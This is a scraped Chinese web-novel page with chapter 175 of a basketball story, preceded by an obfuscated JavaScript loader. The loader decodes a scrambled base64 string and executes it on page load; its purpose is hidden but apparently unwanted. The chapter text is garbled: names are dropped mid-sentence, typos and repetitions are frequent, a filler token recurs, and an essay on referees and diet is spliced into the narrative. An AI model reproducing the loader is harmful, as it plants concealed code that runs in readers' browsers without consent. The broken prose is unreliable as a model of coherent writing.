趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第175章 努力(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

片楼认为你要在裁判哪里得到好处,这绝对不是那么点大的一件事情,你需要非常的用心才行,你需要非常的努力才行。

如果你自己不去努力,那么怎么坑得到真正的陈工呢,你必须啊哟对规则了弱智张,很只要去了解裁判将他们的心理习惯,了解的清清楚楚,这才是一个职业篮球运动员应该有的一个样子,如果你没有这种精神的话,那么你会是非常的遗憾的,那么你会是非常的悲剧的,那么你会是非常的遗憾的,在篮球比赛中

片楼最怕的就是一个篮球运动员对篮球比赛场上的所有裁判都布料机饿,你来拿裁判都不愿意去下功夫了解,那你还有什么好说的呢,你不过就是一条咸鱼把了,一条咸鱼是没有任何的意义的,如果做一饿条咸鱼,那么就是世界上最无聊的事情,你必须要要摆脱咸鱼的命运,做一个真正的勇士,真正的勇士是不会因为一点小小的挫折而失去自己的斗志的

这就是我们要补充的篮球比赛中最重要的职业操守u的第二点。真正的勇敢的篮球队员,他们不管在任何的情况下呢,都是不会害怕自己的行为对对篮球场上的队伍造成危害的,那么我们就要讲一讲一个篮球运动员在那些举动上会对一场篮球比赛上造成危害或者说是不良好的影响,我想那一定就是什么呢,第一个就是粗鲁的动作,有的时候篮球运动员们会发生非常惊险的一些动作

片楼因为篮球本身hi有一个,篮球比赛的篮球永远只有一个,不会出现第二个,是个人的手里却只有一个小小的篮球,而且篮球是圆形的,他自身就是非常的灵活的,会不断地运动,这是一点让人ie长的让人头疼的事情,如果说你不把篮球那好的话,那么很可能就会丢掉篮球,而且你会面临啊着各种抢断的发生,抢断是非常容易发函恶搞的事情,在篮球比赛中抢断的时候就很容易发生很多不好的事情在一场真正的优秀的篮球比赛中

比如说我们刚才讲到的还有一件非常重要的事情,还有一个非常大的因素,那就是什么因素呢,我们必须要去深刻的理解这个事情,那就是篮球运动员们必须要注重饮食和身体健康,这是很重要的事情,篮球比赛,如果饮食跟不上的花,那么就算篮球比赛的体力消耗怎么可能补充的上的,如果一个篮球运动员每天在篮球比赛中消耗的汗水,消耗的体能是那么的多,那么怎么可能承受的聊,就算是铁人恐怕也是受不了的

因为铁人也是会被消耗的,而篮球运动员他们只不过是活生生的人而已,他们只不过是非常的普通的人类,他们都是很普通的人,在篮球比赛的过程中,体力消耗那是非常的吓人的,一个人在打完比赛后,必须要立刻不同非常巨大的,体能的消耗和补充的营养那是呈现出正比的,如果你没有强大的体力消耗后的体能补充,那么就算你有再强大的体力,也是没有用处的,你必须要学会真正的科学的饮食才能跟得上强大的体能消耗和复杂的训练科目

片楼篮球运动员他们要吃的东西首先是非常的多的,其次是非常注重营养的,在某种程度上来说,篮球运动员需要补充的不仅仅是普通的食物,他们需要的是能够提升提供非常强大的能量的一种食物。体能上的消耗如果跟不上的花,那么回事非常的疲惫的,就算你拥有再强大的体能也是白搭,因为人的体能基本都会在篮球场上以非常的快的速度消耗,直到消耗的干干净净,这就是篮球比赛的含义,他需要非常的强壮的人

片楼他需要的运动员是体能非常的充沛的人体能上的消耗有的时候,是非常的巨大的一种消耗,这种情况下,他们一天吃的东西,可能是超过一般人的想象,在这种情况之下呢,很多人都是飞铲的艰苦的,在这种情况下呢,我们每个人都是非常的努力的,篮球运动员的团队背后自然是有专门负责球员的的厨师,篮球队的厨师是专门负责专门的篮球队的

根据每个人的口味制造出各种好吃的美食,而且还要补充上非常好的能量,这都是非常的重要的,在这种情况下呢,我们的篮球运动员进能够得到很好的提升了。在这种情况下呢,体能的问题只要解决好了,那么很多事情都会解决了。除了体能意外呢,嗨哟一个更加重要的重要的事情。篮球场上的真正的可怕的篮球运动员有三中分类,第一种分类是什么分类呢,我们必须要想清楚,那就是毫无畏惧心理的运动员,因为天不怕地不怕所以他们会觉得没有什么东西是他们会感觉到有压力的,当然完全的没有压力的了

就能够非常的放松的去做任何事情,就能够非常轻松的做很多事,就能够完美的去做好手中的事情,所以这也是篮球运动员带给人类的其实,那就是不管做什么事情,都必须要非常努力的去保持一种极其轻松的状态

片楼才能够真正的吧事情做好,除此以外绝对没有任何的方法可以只剩,必须要将心态完全放平,篮球比赛中最可怕的运动员还有第二种,第二种是什么嗯,那就是什么呢,那就是那就是不怕压力的运动员,一个真正的运动员在某种情况下呢,他是非常可怕的,因为不害怕压力这种东西,所以很多东西都是没有畏惧的

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!片楼在篮球比赛的过程中,所以得篮球比赛运动员都是要面临很多的压力的那么我们说完了篮球比赛中最可怕的运动员第二种之后呢,就要说到第三种了,那就是渴求胜利的运动员,越是渴望胜利,那么一个篮球运动员就越来越显得可怕,这就是这种篮球运动员

却仿佛赌气的少年一样,一言不发的站在桌子旁在后面翻书,抬头看了看前面的场景,无奈的摇了摇头就是这样,别看他表面上嘻嘻哈哈的好像什么都不在乎,但是倔起来十头牛也拖不回来。

虽然寒假的时候两人的关系好像有点回热,但是后来却又没有怎么联系了从来没有主动找而他也不那么喜欢缠着别人。所以原本进展良好的情况似乎又回到了最初一头雾水的样子。

“你没什么要说的吗?”

“我要说什么。”一脸疑惑的表情抬头看着

“算了。终于泄气了,垂头丧气的回头准备走到座位上准备下一节课。

“对了。突然转过身来,“我有看你上一场比赛,很帅呢。”微微一笑。

而这笑容在眼里却有一种倾城倾国的魅力,其实并不是让人一看就眼睛发光的那种,但是她的笑容里却有种让怦然心动的元素。自己也说不上为什么,而且他也总觉得就是和别人有一种不一样的感觉。

片楼他呆呆的坐在位置上傻笑着,这让很是无言。

也许这就是情窦初开的男人,或者说是男孩?

片楼说到这个,在这些人里面最幸福的人绝对要数作为球队的领队将全程跟着队伍征战全国大赛。

“说完了我们走吧。”拍了拍发呆

时间对于篮球队的每一个人来说都显得很紧迫也不过随着偷偷的溜出了球馆来找说几句在看来没什么意义的话。而很快他们便要前机场乘上飞往飞机。

相比中学,第一次进入全国大赛的则要显得财大气粗的多,所有的客场比赛,学校都订了机票,全程飞来飞去。相信这绝对是所有队伍里最高的待遇了。

而与之前南相比,大赛的赛程安排的更加紧凑。

每场比赛过后也就只有一天的调整时间,意味着教练在思考这场比赛战术的同时,还要同时考虑到球员会不会因为比赛太过靠近而精疲力竭,这无疑对教练调兵遣将方面的能力考验的更多了。

片楼第一场打得很轻松,这让他们对于将要来到的第二轮与决战有着更为充沛的体力和高昂的斗志。

阳光明媚,春暖花开。

片楼“太阳当空照,花儿对我笑,小鸟说早早早,你为什么背着炸药包……”球队大巴里像是突然发情了一样,情绪异常的高涨。但介于永远处于这种或癫狂或奇怪的状态里,倒也没有谁去在意在薛胤铜身上到底发生了什么。

片楼只有张子轩惊讶异常,往常这种时候都是他在发疯,今天薛胤铜竟然也开始了。不甘示弱的他很快唱起了找不到调的歌。

“你们有完没完。”在前排和聊得正嗨回过头来一脸严肃的表情道。

“假正经。”停下了他的歌唱,不服气的嘟囔着。

听闻也不禁大笑着回过头来,你要是比赛里也能这么没有压力肯定能有出色的表现,到时候给你上场的机会就多了。”

片楼大巴里轻松的氛围一点也看不出来只是一支将要去面对强敌的球队。想起几个月前和最后一场,每个人都有一种唏嘘万分的感觉。

片楼其实那个时候很多人就已经觉得那是最后一场比赛了。谁也没有想过会有今天在征途上,对手是全国一流的强队。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间